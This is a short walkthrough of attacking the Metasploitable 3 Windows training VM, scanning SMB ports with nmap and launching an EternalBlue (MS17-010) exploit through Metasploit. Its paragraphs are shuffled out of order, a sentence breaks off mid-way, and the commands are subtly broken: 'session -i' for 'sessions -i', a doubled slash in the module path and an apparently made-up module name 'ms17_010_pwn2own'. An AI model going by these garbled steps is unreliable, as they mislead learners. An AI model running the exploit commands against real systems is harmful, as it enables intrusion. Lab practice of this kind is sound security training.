Metasploitable 3 Windows Walkthrough Apr 2026

nmap -sV <IP address of Metasploitable 3 Windows> The scan results reveal that the system has several open ports, including 135 (RPC), 139 (SMB), and 445 (SMB). This information can be used to identify potential vulnerabilities and plan the next steps.

session -i <session ID>

use exploit/windows/smb/ms17_010_pwn2own set RHOST <IP address of Metasploitable 3 Windows> set LHOST <IP address of our machine> exploit metasploitable 3 windows walkthrough

msfconsole search eternalblue This will reveal the exploit//windows/smb/ms17_010_pwn2own module, which can be used to exploit the vulnerability. We can now use the following commands to configure and launch the exploit: nmap -sV &lt;IP address of Metasploitable 3 Windows&gt;

Metasploitable 3 is a vulnerable virtual machine designed for penetration testing and security training. It is a Windows-based system that is intentionally made vulnerable to various attacks, allowing security professionals to practice their skills in a safe and controlled environment. In this walkthrough, we will explore the steps to compromise Metasploitable 3 Windows and gain access to the system. We can now use the following commands to

Once the exploit is launched, Metasploit will establish a session on the target system. We can now use the sessions command to list the active sessions and interact with the compromised system.

Using the information gathered during the reconnaissance phase, we can now identify potential vulnerabilities in the system. One notable vulnerability is the SMB service, which is running on port 445. Metasploitable 3 Windows has a known vulnerability in the SMB service that can be exploited using the EternalBlue exploit.